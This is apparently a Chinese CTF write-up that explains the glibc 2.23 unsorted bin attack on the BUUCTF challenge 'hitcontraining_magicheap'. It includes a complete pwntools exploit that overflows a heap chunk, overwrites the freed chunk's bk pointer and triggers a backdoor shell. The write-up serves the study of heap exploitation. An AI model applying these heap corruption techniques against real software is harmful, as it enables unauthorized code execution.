在刷buu的时候遇到了这个↓
“hitcontraining_magicheap”
看了一会找着堆溢出了不会做，本来以为是学堆白学了，结果是我没学这个利用。。
思路摘自wiki+ https://hollk.blog.csdn.net/article/details/112589899
Unsorted bin
额。。图截自wiki
过程如下
什么奇怪的描述，学pwn以来第一次见到这么模糊的东西，“较大的数值”
那到底有什么卵用，想了一下，似乎可以改循环次数？
或者是像这个b例题一样为了这盘醋包饺子↓
“hitcontraining_magicheap”
洞倒是简单，edit的时候可以造成堆溢出，还有后门
这个题拿到shell的唯一条件只有bss段的magic>4869，故使用unsorted的方法
根据上文我们可知这种攻击手法的原理其实相当简单，我们将一个符合unsorted bin的size的chunk释放，该chunk作为唯一chunk进入unsorted后，其fd与bk指针均指向main arena（由于双向链表的缘故，main arena也同时指向该chunk）
此时若改bk为我们的目标地址（此处减个prev_size和size位），再重新申请同样大小的chunk，由于分配机制的缘故，该chunk会从unsorted重新启用，由于 _int_malloc() 从 unsorted bin 中取出恰当大小 chunk 时几乎没有任何检查，目标地址处已经被视为一个chunk，自然其“fd”处（也就是目标地址，前面-0x10了）会变成main_arena的地址
这个地址..也就是他说的“很大的数”
所以这个题我们需要申请三个chunk：
- 0是放在那里被溢出的
- 1是准备接受溢出+我们要利用的
- 2是个
凑数的，隔绝top chunk以免被合并（我的理解应该是物理隔绝，没全懂，有时间的话看一下这里的源码）
之后就是常规的利用过程，释放1，溢出0，申请1，走后门
确实是相当简单的原理，比前面那些都好理解（）
Exp
因为简单所以也没什么具体的调试过程，直接贴个码吧，挺容易看懂的：
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(log_level='debug')
#r=remote("node4.buuoj.cn",28422)
r=process("./pwn")
elf=ELF("./pwn")
def add(size,content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def edit(index,size,content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(index))
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delete(index):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(index))
target=0x6020a0-0x10
add(0x20,'otto')
add(0x80,'otto')
add(0x20,'otto')
delete(1)
gdb.attach(r)
pause()
payload=b'a'*0x20+p64(0)+p64(0x91)+p64(0)+p64(target)
edit(0,114514,payload)
add(0x80,'otto')
r.recvuntil(":")
r.sendline("4869")
r.interactive()
Other
值得注意的是后续我试了一下高版本的libc，发现这篇文章讲的基础的这种攻击方法只能通2.23
猜测是因为2.26以后引入tcache的缘故，事实上用2.27的话果然如此：
（这个调试就是上面那个源码当中的gdbattach处）
但是how2heap里面2.27分类下也有unsorted这一项，有可能是具体情况的问题，后续再研究再放到这里吧
总之这个思路还是很简单明了的，估计是因为这玩意效果太有限了？
正好2.23学到这里估计也该看看tcache的利用了，出现频率有点高，似乎是个很有价值的点
But today?️?